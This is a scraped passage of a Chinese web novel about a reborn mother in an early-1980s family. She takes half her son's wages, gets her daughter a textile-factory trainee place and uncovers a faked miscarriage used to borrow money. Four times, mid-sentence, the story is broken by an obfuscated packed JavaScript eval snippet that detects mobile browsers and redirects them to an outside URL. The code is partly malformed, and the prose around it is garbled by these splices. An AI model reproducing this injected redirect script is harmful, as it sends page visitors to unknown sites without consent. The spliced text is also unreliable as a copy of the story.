方老三以前只知道他妈那个工作很多人羡慕，但今天从小美的嘴里他才知道这纺织厂原来那么难进，而且是越来越难，就算是进厂学习的实习生最后也不一定能留下。 但他下午也不知为啥昏了头，当着小美的面儿是再三保证，一定想办法让她的妹妹实习结束后顺利进厂，大不了就让他妈把工作送给她妹。 而小美也跟他承诺了，要是这事儿能办成，她就考虑他两在一起的事儿。 方老三知道他妈最近变了许多，但再变那也是他妈，总不会连儿子的终身大事都毫不在意吧。 “合着半天，你两连对象都还没处上呢？”徐本英的语气像是在哪里听到了天大的笑话般，“你以后出去可别说是我儿子，我嫌丢人。” 方老三听到他妈这么说，他也顾不上生气了，把他妈的肩膀捏着摇过来摇过去的撒着娇。 “我不管，当年大嫂的工作可是爸帮了忙的，你们要公平对待，必须让小美的妹妹也有份工作，大不了，我和小美日后结婚了，我的工资也上交一半给你们。” 徐本英轻笑了一声，“就你那点儿工资，老娘还真不稀得要，而且老娘也没那本事。” 方老三急了，手上的动作也重了几分，“妈，你咋没那本事，大不了你在退休前把工作给小美的妹妹啊，这样咱家到时候说不定还能少出彩礼钱。” “滚犊子，别按了。”徐本英一巴掌打开方老三的手，“想打你老娘工作的主意，我告诉你，没门儿。” 见他妈这边说不动，方老三又找上了方老头儿，讨好似的揉了揉他的肩膀。 “爸，你也不管管妈，这可是我的人生大事，你们都不管了吗？” “那是你妈的工作，我咋管？”方老头儿闭着眼睛享受了起来，顺势还指了指另外一头肩膀，“这儿也按按。” 他得赶紧抓住这个机会，这臭小子从来没给他按过肩膀，这回是找他妈说不通了，才来求他了。 要不这臭小子哪儿会给他按。 他才不管这事儿呢，哼！ 方老三立马听着他爸的使唤，也按起了另外一头肩膀，“爸，你好好掂量，到底是我尽快为方家传宗接代重要，还是妈一个工作重要。” “你妈重要。”方老头儿完全没犹豫，几乎是脱口而出。 “爸！”方老三对他爸完全无语了，他就不该对他抱有希望。 方老三气呼呼的大手一甩，他爸的肩膀他也不继续按了，又回到他妈跟前来，他爸说的对，工作是他妈的，他妈不点头，谁说也没用。 他打算故伎重演，直接扑通一下跪在了地上，抱着他妈的腿就开始哭：“妈，你可是我亲妈啊，为儿子作出一点贡献，难道不应该吗？” 全场哑然，方老三见他妈半晌不说话，以为他妈这是要被自己感化了，正要抬头谢恩呢，却被他妈一把狠狠地推倒在地。 “别叫我妈，老娘可没有你这样天天嚷着让老娘贡献的儿子。” 一场闹剧过后，都各自回到了自己屋里休息。 老两口儿躺在床上，方老头儿看老婆子一脸的心事，以为她这是被老三寒了心在难过，便温声安慰，“老婆子，你就别多想了，反正无论如何，我都站在你这边。” “你说啥呢？我是突然晚上被老三一提醒，刚想起来，老大好像下个星期就发工资了，我得去要。” “啥？”方老头儿听闻，一个侧翻身坐了起来，满脸愕然，“老婆子，你还真去要啊？” 那天晚上，她以为老婆子只是做做样子，想出口恶气罢了，没想到她这是要来真的？ “那必然去啊！”徐本英肯定地回答道：“我不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129792|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个月去要，下个月去要，以后每个月我都会去要。” 一个星期很快就过去了，厂里招实习生的事儿也招贴了公告，看见有学校的学生来厂里报名，徐本英心里也开始着急，她又跑去问了一趟李爱霞，得到的答案就是让她再等等。 方老大发工资那天正好赶上徐本英上早班，一下了班她就直接去了冷冻机厂，大儿子方国栋是厂里的技术员。 两个厂子相隔得并不远，她步行到了门口，也才下午三点左右，离他们下班的时间还早，但是徐本英就要在这里堵他。 不然这钱老大拿回家，交到老大媳妇儿手里，怕是一分也要不来了。 她累得很，两双脚像是灌了铅似的重，这么大的太阳，要是一直站在门口等下去，怕是儿子还没等出来，她就要先中暑晕倒了。 她直接跑来了门卫室，主动交代了身份，门卫老头儿便热情地邀她进去坐，还给她沏了一杯凉茶。 徐本英闲着也是无聊，就和大爷聊了起来，聊的时候也故意透露了她这次来的目的，好让大爷一会儿给她做助攻。 有人聊天儿，就没那么无聊了，很快两个小时就过去了，到了老大下班的时间。 徐本英一双眼睛紧紧地盯着从里面走出来的人，心里默默感叹着她这个位置待的可真好，绝对不会把任何一个人看漏。 下班的人大概出来了有一半，方老大才从厂里推着自行车神采飞扬地走出来，一看见他，徐本英立马大叫了一声他的名字。 方老大听见有人叫他，一开始还以为是错觉，等他妈叫了好几声，他去寻声音，才在门卫室的门口看见他妈。 他先是吓了一跳，愣了两秒，才停好车，向他妈的方向走了过去。 “妈，你咋来了！”方老大有些狐疑，他妈以前倒是有来厂里给他送过吃的，但是不会这样大摇大摆的。 今天还跑到门卫室来了，这是想干啥？ 不好！他下意识地按住了自己的口袋。 今天是他发工资的日子！ 该不会？ 他妈真要问他拿走一半的工资吧？！ 这钱在他裤兜里还没揣热乎呢，要是真被他妈要走了，他回家媳妇儿能要了他半条命。 可要是不给......他环顾了下四周，望眼放去，全是他的同事。 一会儿他妈真闹起来了，他以后还要不要上班了。 所以现在，最重要的是先把他妈哄走再说。 “妈，有啥事儿啊，咱回家说呗！” 门卫大爷哪儿知道方老大心里的这些小九九，连忙热情地替徐本英就回答了。 “国栋啊，你不是今天发工资吗？你妈来找你拿了。”说着门卫大爷对方老大还投去了赞许的眼光，“真没看出来啊，你这孩子这么孝顺，每个月还上交一半的工资给你家里。” 方老大心虚，不敢直视大爷的眼神，尴尬点了点头，而后又问他妈：“妈，你咋和大爷说这个啊？” 这门卫大爷一旦知道了，那不就等于全厂都要知道了，那以后这事儿就是铁板钉钉了，想不承认都不行了。 方老大带有埋怨的眼神瞟了他妈一眼，也不知道这老太太是算计好的还是无意的。 “怕啥，我有个孝顺儿子还怕别人知道啊！” 徐本英是故意讽刺方老大的，但是大爷那里听出来啊，还在一旁乐呵地附和着她：“是啊是啊！多孝顺的孩子啊！” “那您也不至于专门跑一趟啊，我得空了给您送去不就成了。” “天热，妈心疼你多跑，这不是刚下班顺路吗，就直接来了。” 看见这个母慈子孝的场面，大爷在一旁感动得眼泪都要出来了。 12. 第十二章 面对眼下这种情况，这钱是不愿意给也必须给了，方老大不得已把兜里的钱摸出来几张给他妈，他妈拿了钱数了数，又问：“儿啊，你是不是给少了。” 被他妈这么一问，大爷立马对他投去异样的眼光，看的他浑身难受。 “咋会少啊，妈，你再好好数数。” “要是以前是对的，但是妈咋上个月听你媳妇儿说，你这个月工资涨了。” 方老大‘啊’了一声，难掩内心忐忑，他工资是涨了，但他没想到他媳妇儿竟跟他妈说了，所以刚才的确是少给了。 正当他准备想话来替自己辩解的时候，他妈又摆作一副心痛的表情，小声哭了起来，“孩子，你要是不想给妈就算了，妈不难受。” 方老大被他妈这顿操作整慌了，连忙斜眼看了下门卫大爷的反应，大爷现在对他的眼神已经从赞许变成了嫌弃。 他现在整个脑子都是乱的，根本想不到任何话来为自己辩解了，只好付出实际行动来证明自己。 他连忙又从兜里摸出了两张钱给他妈，并且承认错误，“妈，妈，是我忘了，我对不起您，您千万别多想。” 徐本英又拿到了钱，心里简直乐开了花，但脸上还是一副感动的表情，“国栋啊，你可真是妈的好儿子啊，是妈错怪你了。” 方老大的心里在滴血，脸上也是一副快要哭出来的表情。 完了，晚上又免不了媳妇儿的胖揍了。 谁知一旁的大爷以为他这是愧疚，又把他夸了起来。 “国栋啊，你对你家爸妈真是孝顺，我家那儿子要是有你一半就好了。” 方老大点了点头，又哭又笑道：“是啊是啊！” 拿到了钱，徐本英瞬间感觉上了一天班也没那么累了，一回家就睡了个好觉。 又顺利的上了两天班，徐本英看着厂里的实习生也陆陆续续来报道了。 她以为，老四的事儿是没着落了，准备再给她另寻办法的时候，李爱霞却兴冲冲地找上了她。 “成了？”徐本英被李爱霞带来的好消息高兴的不得了。 “是啊，领导们考虑过了，虽然厂里每年还要接收返城知青，但也要多照顾一下老职工们，正好你名下有一个名额，所以他们就同意了，只不过只是学习，以后能不能留下就不好说了。” “能进厂学习就已经行了，可不敢再想别的了。”徐本英本来就做好了日后把自己工作给老四的准备。 她下了班，一回去就把这个好消息带给了老四。 老四当时正在择菜，高兴的连手上的菜都忘了放，一把抱住她妈，“妈，你是说我也能去纺织厂学习了？” 徐本英笑着点点头，“是啊是啊，你没听错，我的乖女。” 她让女儿先放开自己，又把她手上的菜拿走放了下去。 “走，别择菜了，妈带你上街。” “妈，都这个点儿了，上街干啥啊！我还要做晚上的饭呢，再过会儿爸他们就要回来了。” “还做啥饭，妈带你下馆子去。” “那虎子，三哥还有爸咋办？” “我给你爸留过纸条了，让他们晚饭自己看着办。” 已经快晚上八点了，方老头看这母女两还没回来，在屋里急的团团转。 虽说老婆子是给她留了张纸条，但是上面也没说去哪儿啊，就说不用等她们吃晚饭了。 她人还怪好的，还让他们不用等她们吃。 但问题是，她们不在，他们几个大老爷们儿去哪儿吃晚饭啊。 “爸，你别晃悠了，我晚上就啃了两根黄瓜，本来就没吃饱头发晕，你再转悠，我一会真要犯晕病了。” “吃吃吃，你就知道吃，你就不担心你妈和你妹咋还没回来，她们晚上有没有吃。” “妈不是给你留了纸条吗，那还担心个啥，我现在就想早点睡，明天还得上工呢。” 方老头冷哼了一声，“谁不知道你整天三天打鱼两天晒网的。” “就算我耽误了上工没事儿，虎子明儿个一大早还要上学呢，是不，虎子。”老三连忙搬出了弟弟这个救兵，在他爸眼里啥都没有孩子读书重要。 谁知救兵心里和他根本不是一条战线，“我还行，我再等等妈和姐吧。” 老三被弟弟的‘背刺’气死了，只能和他们一起继续等。 没过几分钟，母女俩就大包小包地回到了家里，而且一副吃饱喝足的样子。 方老头儿悬着的心终于放了下来，连忙起身去接自己的老婆子，虎子也去帮忙，把他姐手上的东西都接了过去。 “老婆子，你带孩子去哪儿了？晚上吃没吃啊！” “当然吃了，我们在饭店里吃的。” “什么？”饿着肚子的老三听到自己亲妈带着亲妹去下馆子，不带他，他这会儿要怀疑人生了。 “鬼叫什么？！”徐本英揉了揉耳朵，咋重生了以后，看见老三就烦人。 “妈，凭啥下馆子只带老四去啊，你知不知道我晚上就啃了两黄瓜，你俩倒好，背着我们吃香的喝辣的。” “凭老娘花的是我自己的钱，我当然想请谁就请谁。” 方老三被他妈堵的哑口无言，这个家是容不下他了，他决定他要早点追上小美，和她建立起自己幸福的小家，远离这个没有爱的地方。 徐本英看大家伙儿都在，就准备把老四进厂的消息给大家都说一下。 “正好你们大家都在，我给你们说件好事儿。” “啥好事儿啊老婆子？”方老头儿第一个捧场道。 “咱家老四，要进纺织厂学习了。” 方老头儿和方小虎听见了这消息，都沉浸在喜悦的情绪里，只有方老三，满脸都是震惊。 “妈，你没搞错吧，进纺织厂？就是你工作的那个纺织厂？你是说老四也能去了？” 徐本应被老三一连串的疑问问的有些烦躁，“咋了，是的，你妹不能去吗？” “她怎么可能能进纺织厂？妈你是不是给你们厂长塞什么好处了？” “来，老三你过来，妈告诉你为啥！”徐本英真想一巴掌甩在弱智儿子的头上，有哪个当哥哥的这么贬低自己亲妹妹的。 “我不过去，你肯定又要打我。”方老三下意识的抱住了自己的脑袋。 徐本英却根本气不过，这瘪犊子不打根本不行。 她立马脱下鞋，往老三的头上精准地砸了过去，老三的脑袋再再再次被打了，他疼的直叫唤。 “你不过来，老娘就打不到你了？你以后再给我胡言乱语，我就把你嘴缝上。” “我实话实说而已啊，四妹连大字都不识一个，要不是你找了关系塞了钱，她咋能说进厂就进厂。” “你妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129793|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂亮又能干，这邻居街坊的谁不说我徐本英有个好女儿，你那小美的妹妹就能进厂，我徐本英的女儿就不能进了？” “那能一样吗？”方老三揉着头，不甘心的依旧小声蛐蛐，“小美的妹妹可是纺织专业的中专生。” 徐本英马上就要脱下另一只鞋子再砸过去，老三这才回话，他是被他妈打服了。 “妈妈妈，我错了，你别打了，别到时候真打傻了。” 说完连忙把他妈的鞋子捡了过去，给他妈穿上。 徐本英哼了一声，这才放过这个嘴贱的老三。 洗漱前，徐本英拿了两件衣服又去了女儿的房间，看见她一个人坐在床边发呆，知道这孩子肯定又在胡思乱想了。 “还没睡呢。” “妈，你快进来，没睡呢。” “还在想你哥的话呢，看妈明天再收拾他，哪儿有这样说自己妹妹的。” “没有......”方楠并没有把那些话放在心上，她也知道自己的不足，她进厂的事儿的确是多亏了妈妈。 “我是在想，后面我去了厂子里学习，家里做饭怎么办，总不能让你和爸回到家了还饿着肚子。” “原来是这事儿啊！”这事儿徐本英早就提前想好了，不就是吃饭吗，只要有钱就好解决。 “早饭咱们就在外面买着吃，小虎爱跑，这任务就交给他，偶尔有什么落下来的零钱就当是给他的零花钱了。中午饭大家就晚上提前一天带，再不行，带两个馒头和咸菜也能对付吃，晚上咱们就弄得丰富一点，大家都有时间，也都能出力。” “早饭买着吃？！”老四有点被他妈的想法吓到了，“那会不会太贵了？这每个月家里就要额外多花出去好多钱。” 就因为要满足她一个人，家里每个月就要多支出这么多钱？ 老四的心里顿时有些过意不去…… “放心，你大哥现在每个月上交一半的工资给你妈呢，你三哥每个月也要交伙食费，等到你工作了拿到钱了也要交，不然你哥又在哪儿狗叫什么不公平。” 徐本应是故意这么说的，要不这么说，这孩子又得自责了。 “那行。”方楠这才终于露出了笑脸。 “别想这些了，快看这是什么？”解决了女儿的烦恼，徐本应这才把她的视线转移到了自己手上的新衣服。 “好漂亮的布拉吉，还有这个穿在里面的背心，都是我没见过的款式。” 徐本英心里想，你当然没见过，这都是起码好几年后才有的款式，但是她不敢太超前，在胸口的位置稍微改了一下，免得到时候引起别人的怀疑。 “这是妈亲手给你做的，要不你现在换下来，给妈看看，哪有不适合的我还能再给你改改。” “给我的？”老三不可置信，这么漂亮的裙子是她妈妈亲手给她做的？ “当然是给你的，这是给你顺利进厂的礼物，妈都做好好几天了，现在终于能给你了。” 方楠心里感动不已，“可是妈，你都已经请我吃过饭了，咋又送我礼物。” “你进厂不得有两件好衣服打扮打扮自己，要不人家还说我徐本英苛刻女儿呢。” 方楠觉得她妈说的也有道理，才收下这份沉甸甸的爱。 她在心里默默记住了妈妈对她的好，以后她挣钱了，她一定要加倍的给妈妈买更多更好的东西。 13. 第十三章 在八十年代初，国营工厂是人人都羡慕的好单位，不仅收入高，福利也好，住房看病通通有保障。 特别是纺织厂，那里面的女工一个月到手的工资甚至是外面教师的好几倍。 所以大家都想把自己的女儿往里面送，但这个工作也不是人人都能干得了的。 都说纺织女工需要过好三道关：一是扛过三班倒的作息关、二是受得了机器震天响的噪音关、三是忍得了来回行走的体力关。 听起来简单，要真干起来，那可是辛苦的很呢。 所以每年进厂实习的学生，厂里都会把她们聚集在一起先学习一到两个星期，让她们提前适应一下工作强度，再开始为期三个月的实习。 要不说戏如人生呢，这批实习生几十个，集中学习结束后分给徐本英带的两个实习生。 一个是自己的女儿，还有一个就是小美的妹妹，小丽。 她记得上辈子这小丽并没有分给她，看来重生后有很多事情都和上辈子发生了变化。 这小丽看起来没有她姐姐那么漂亮，但人却不笨，又是学纺织专业出身的，所以很多操作她都上手的很快。 就是偶尔会流露出一副不够谦虚的样子，做事也比较毛躁。 反观自己家的老四，明明在家里很能干，样样家务活儿都手到擒来。 但是纺织技术，她却学得很慢，都实习快半个月了，十根手指头的螺纹都快烫没了，连最简单的纱线打结和接头也做不来。 这天下了班，母女两走在回家的路上，徐本英发现女儿情绪低沉，她知道小丽老是背着她打压自家闺女，便问她：“小丽是不是又背着妈说你了？” 女儿没有正面回答，而是反问她：“妈，我是不是给你丢人了？” “谁说的，你这才学了几天，妈那个时候还不如你呢！” “真的吗？” 当然是假的，徐本英十几岁刚进厂，没多久就被评为了进步标兵。 但她还是选择对女儿点了点头，撒了个善意的谎。 这孩子本来就自卑，可不能再打击她了。 不行，得找个事儿转移一下老四的注意力，以后她的工作还要留给老四的，可不能就这样被打击了。 “老四，你进厂的事儿还多亏了厂里的李科长，她也是妈的老乡，妈正在想要买什么谢礼感谢她呢，你也帮妈想想呗。” “我也没送过别人礼物诶，妈，要不我陪你去市场里逛逛吧，说不定能看到合适的。” 两人回去休息了会儿，趁着天没黑就出去逛了，可是逛了一整圈，也没看到合适的东西。 方楠觉得送人东西应该送别人喜欢的或者是需要的最好，便问了一句：“妈，你知道那个李科长平常喜欢什么呢？” “她啊，平常就爱吃。” “妈，你说李科长爱好美食？”方楠瞬间想到了什么，眼睛亮了起来，“要不我亲手做点吃的吧，这样也显得更有诚意。” 徐本英听了觉得非常行，这不是对上了吗，老四最擅长的就是做美食，说不准还能帮老四找回自信。 但李爱霞可是个懂吃的，市面上啥好吃的她都舍得买，啥都吃过，要想让她喜欢，可能还得费点心思做点儿不一样的。 “成，但我们要做点与众不同的。” “什么与众不同的？”方楠有些不解，什么样的食物叫做与众不同？ “简单，走，咱回去，妈给你想方子。” 上辈子她帮忙老大老三照顾孙子的时候，研究过很多点心类的食谱，回忆一两个方子给老四，她照着做，好看又好吃，送人绝对没问题。 说干就干，徐本英当晚就想到了要老四做什么好吃的。 她记得上辈子有一款甜点，做起来简单，食材也容易准备。 ——香蕉松饼。 她把方子写好以后交给老四，老四第二天就把做了出来，香甜的味道弥漫了整个院子，害的大家都顶着个鼻子到处嗅，看是那家散发出来的。 “老四，真是好吃，做的比妈好吃多了。”徐本英这次可不是善意的谎言，她是真心夸赞。 她吃到第一口松饼的时候，就立马被松软的蛋糕体给征服了，那口感好似柔软的棉花糖，可又比棉花糖多了一份绵密。 没想到老四只是第一次做，就把这道甜品完美地复刻了出来，甚至做的比她更好吃。 “妈，真的吗？我第一次做，还怕过不了您这关呢。” “真的！真的！真的！”徐本英觉得重要的肯定她要说三遍，“你李阿姨肯定会喜欢吃的，咱们用牛皮纸给包装好，明天就给她送去。” “好！” 徐本英看着女儿脸上洋溢着自信的笑容，心里也得到了很大的宽慰，看来每个人的天赋还真是不一样。 她心里突然冒出一个想法，要是老四以后真在纺织厂呆不下去，说不准还能靠着自己做饭的手艺开个店，现在不都开始鼓励自我创业了吗！ 两人说着话的功夫，很快就用牛皮纸把松饼都包了起来，还特意剩下了一些，让家里父子仨也都尝尝鲜。 老三和老五那儿吃过这种新鲜玩意儿，两人互相抢着吃，徐本英看了十分嫌弃，“你们给你们爸也留点儿，吃的跟野猪似的。” 老四听了她妈的吐槽，笑着跟着说：“是啊，吃慢点儿，你们要是觉得好吃，我下次还给你们做。” 老四话音刚落，方老头儿就垂着头从外面回来，徐本英喊他赶紧过来吃点心，两个崽子马上就要抢吃光了，谁知方老头儿却苦笑的挥了挥手：“我没胃口，让孩子们吃吧。” 方老头儿情绪低沉，徐本英立马察觉到这肯定是出事儿了，连忙走到他跟前，问：“老头子，这是出啥事儿了。” 方老头看了看孩子们，又看回了老婆子，欲言又止，一脸为难。 “老大下午跑到我上班的地方找我了。” “他找你？”徐本英追问，“他找你做啥？” “老大媳妇儿，她......流产了。” 徐本英因为有心理准备，看起来倒没有那么震惊，但她记得上辈子老大媳妇儿流产没那么早。 这是提前了？ 虽然她知道这是迟早的事，也已经经历过了一次，但是看在老伴儿这副难过的样子上，她的情绪也跟着低沉了许多。 “那老大去找你做啥！” “他......问我借钱。” “借钱？” 方老头儿神情恍惚地点了点头。 “他说他和儿媳妇平时没攒到钱，这住院了，他们一时半会儿拿不出来钱？可能是怕来到家里，碰见你了尴尬，就跑去了我单位上找我。” “那你借给他了？” “嗯，在单位上先支了几个月的工资。” 老三这时蹦出来说了一句：“这大哥也真是的，工作了这么多年，和大嫂都是双职工，妈上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129794|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月也是第一次找他拿钱，这都估计还没花出去呢，就赶紧要回去了，也不知道他们钱都花哪儿去了。” “老三，你住嘴，你别这样说你大哥。”方老头儿有些生气，老三见此，立马闭嘴了，他现在家庭地位最低，谁也不敢惹。 徐本英也叹了口气，她也知道老三这话说得难听，但是却是有道理的，老大一家的工资绝对够他们花，只不过钱都被傻儿媳拿去补贴她那个赌鬼哥哥了。 她上辈子一开始也不知道，是很久以后才知道的。 但她现在肯定不能说出来，那样老头儿就更失望难过了。 “那老大写借条给你了吗？” 方老头儿一脸不可置信地看了一眼老婆子，那种眼神像是在看一个陌生人似的，他有种说不出来的难过，但他不会像对儿子生气那样对这个家的女主人。 这些年她对老大一家付出的比他多的多，如今这样的态度也许是被伤透了心。 “这钱......我没想过让他还的。” 徐本英知道老头子刚才看她的眼神里透露出责备，但她不怪他，毕竟上辈子死了也没人管的事情只有她经历过，他肯定觉得她刚这样问太冷血了。 “那大嫂现在在哪儿呢，我们要不去看看她。”方楠在一旁问她爸。 方楠这样一问，瞬间缓和了当下的氛围，“我问过你大哥了，他说不用，下午交了钱就能出院了，你大嫂先住回娘家哪儿了。” 话没说完，他看了一眼老婆子，又吞吞吐吐地把后面的话坚持说完：“他还特意叮嘱我，让我们都别去打扰你大嫂，以免她......刚流了产会情绪激动，落下病根。” 说完方老头儿又深深地叹了口气。 方楠也看了眼她妈，生怕她妈听了这话会心里不舒服，幸好，她妈看起来表情淡淡。 别人不理解她妈，她理解。 她们的妈是全天下最好的妈，现在对大哥一家这样的态度，一定是还发生了一些她不知道的事儿，伤透了妈的心。 就这样一家人心里都不舒服地过了两天后，方老大在一家人用晚餐的时候，又急匆匆地跑来，跑得是一头汗，一张嘴还是借钱。 “爸，爸，你快再拿些钱给我，青青她不知怎么回事儿，突然大出血，又送到医院去了。” “什么？”方老头儿一听，吓得手中的碗都没端住，掉落在地，发出脆响的声音，“不是都出院了吗？咋又......” “爸，医院那边现在急着交费呢，你再给我拿些钱，以后我要是手头宽裕了，一定还您。” 方老头儿因为发慌说话都咬字不清了：“先不说这个，人命关天。你要多少，我这就让你妈去给你拿。” “医院那边让我现在一次性先交200块，如果......您有多的，就再多借我些罢。” 老三嘟囔个嘴，一个人一边吃着饭一边碎碎念，也不知道他在说啥，方老头儿也没那个心思骂他，连忙让徐本英去拿钱。 “老婆子，钱都在你哪儿呢，咱还有多少，先都拿给老大应急吧。” 徐本英没说什么，起身进了屋子，不到一分钟，她就拿出了一个布夹子，还有一个本子，走到了大儿子面前，准备把夹子递给他，“老大，这里是300块。” “谢谢妈。” 方老大立马要接过去，徐本英却缩回了拿夹子的手，把本子先递给了他，“要借钱，总要先写个借条吧。” 14. 第十四章 方老大看他妈递过来的纸和笔，一时有些愣住。 他难以置信地盯着眼前的人，露出一种微妙的眼神。 “妈，你......” “老大，你别怪妈不信你，你知道的，咱们这一大家子每个月开支不少，之前每个月还补贴你们，这是我和你爸好不容易攒下来的全部的钱。” “老婆子，先让老大去医院把钱交了吧，人命关天啊。”方老头儿再一次对自家老婆子的行为感到不理解。 老大也跟着道：“是啊，我的大妞还小，可不能没有了妈妈啊！” “不急这一会儿，写吧。” 徐本英说话很轻，但态度却十分坚定。 “行，我写。”方老大有些愤怒，一把拿过他妈手中的本子和笔，在上面胡乱画了几下，很快就写下了欠条。 “这会可以把钱给我了吧。” 徐本英看了下借条，才把手里的布夹子给了方老大。 方老头儿对此有些愧疚，又把自己身上的钱全部掏出来塞到方老大手里，“老大，这些也都给你，不着急还，走，赶紧去医院，我们......爸也去看看。” “不用了，爸，你别操心。”方老大收下了他爸塞过来的钱，却拒绝了他爸一起去医院。 “肯定要去，儿媳妇都抢救了，咱家一个人都不去，那咋说得过去。”方老头儿十分坚持，虽然他之前看不惯老大媳妇儿的许多行为，但是毕竟是一家人，关键时刻咋能不去看看。 “真的不用，你去了也帮不上什么忙，我岳母在哪儿守着呢。”方老大依旧拒绝了。 方老头儿以为儿子这是生气了，但徐本英却觉得有那里不太对。 她清楚地记得老大媳妇儿上辈子流产，也是出院了才和她说，她们上辈子可没吵架，按照老大媳妇儿的性子，不可能不使唤她伺候，反而让她妈去照顾...... 而且老大媳妇儿每次怀孕的前期，孕吐都非常严重，甚至吃不下去饭，她都是换着花样给她做吃的。 怎么偏偏这次怀孕，却没有任何反应。 难道？ 老大媳妇儿的怀孕压根就是装的？ 上辈子是有预谋的骗她的翡翠手镯，这次看手镯拿不到手了，就开始骗钱？ 所以才生怕方家的人去医院，怕被识破？ 徐本英趁着老大还没走，灵机一动，试探一问，“你爸去了的确帮不了忙，要不让你妹去吧，给你丈母娘搭把手也是好的，或者照顾照顾大妞。” “是啊，大哥，我啥都能干的，让我去医院帮忙吧。”方楠连忙接着她妈的话后面说。 “也不用，你的好意哥心领了，大妞现在大了，放了学有陆青爸看着呢。”方老大面露难色，仍然拒绝，说完给他爸打了个招呼就连忙慌乱地离开了方家。 徐本英看儿子的反应，她更加怀疑了这件事的真假。 她捏紧了手上的欠条，这件事儿若真是假的，她一定要手撕了他们。 徐本英第二天一大早就去了医院，方老头儿毕竟是个男人，他不懂，但徐本英却很清楚，当地能抢救产妇大出血的医院就只有一家，所以其实很好找。 她花了一上午，问遍了整个医院，也没有查到陆青的名字。 她还生怕有遗漏，冤枉了他们，便每去一层楼她都反复问好几遍，但是得到的答案都是确定没有。 她心中的怒火在走出医院那一刻熊熊燃烧，这老大一家为了钱可真什么都做得出来，就连假怀孕这件他们也敢拿来骗人。 她回去暗暗给虎子交代了个任务，让他每天放学都去一个地方蹲点儿，去他大嫂的娘家门口守着，只要看见大嫂的身影就回来给他报告。 虎子觉得他妈很奇怪，大嫂不是在医院吗？ 为啥还要去她娘家门口蹲她？ 但他还是选择照做了，毕竟这还是他妈第一次给他交代任务呢。 最重要的是还给钱呢，他一定得好好完成。 果不其然，没蹲两天，还真让他在嫂子的门口蹲到了她本人。 他妈可真神了！ 叫什么来着。 料事如神！ 这次可知道咋说了，这段时间他可是有认真听课的。 回到家，他第一时间就把这事儿跟他妈讲了，他妈看起来十分高兴，立马奖励了他一块钱。 “虎子，你确定你没看错？” “嗯，没看错。”方小虎拿着钱，也高兴地点了点头。 “那她当时在做啥，有没有什么奇怪的地方？” “大嫂当时手上提着好多东西，应该是刚从外面买回来，她头上还包着个东西，一直到大门口才摘下来，要不是她提前摘下来了，我还认不出是她呢。” “包着东西？” “对，包着呢，很漂亮的一条布，我之前听四姐说那好像叫头巾。” 头巾？ 虽说现在马上十月份了，但明城的夏天很长，长到几乎没有秋天。 徐本英望着外面蒸笼一样的天，冷哼出声，这么热的天还包着脑袋出门？ 好一个做贼心虚！ 徐本英要是不出了这口气，白瞎她重生了。 她第一时间选择把这件事给方家所有人说出来，包括方老头儿，毕竟这种事儿也是瞒不住的，那她还不如一开始就让他也知道。 虽然一定会难过，但被人当傻子骗过来骗过去，最后才发现事实，那样会更难过。 “你是说，老大媳妇怀孕，流产都是......假的？” “是的，假的。我已经悄悄去过医院了，整个医院根本就没有陆青这号人。” “是不是那里出了问题，我看老大那样子，咋可能是骗人，而且，他咋会骗我们呢？” 看老伴一脸不敢相信的悲痛样儿，徐本英也有些于心不忍，但是她还是要说下去。 “老头子，你要是不信我，你可以问虎子，他今天在陆家可是亲眼看见老大媳妇儿从外面买完东西回娘家，她不是昨天还在大出血吗，怎么今天这么快就能大包小包往娘家拎了？” 方老头儿看了一眼自己小儿子，虎子立马肯定道：“是的，爸，我真的看见了，那时就是大嫂。” 沉默了半晌，才听见一声拍桌子的巨响，是方老头儿拍的。 徐本英都是活了两辈子的人了，还是头一次见他这样发脾气。 “要是真的，他们就......太过分了。”方老头掩面叹息。 徐本英：“......” 这人明明上一秒还在发脾气，咋下一秒就蔫儿了。 果然，就算再生气，这文人也憋不出来一个响屁。 这要是她被骗得这么惨，估计早就出去骂街了。 老三看两个老的这样生气，又跳出来火上浇油，世子之争向来如此，虽说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129795|180237||http|test|mini|href|location''.split(''|''),0,{})); () { 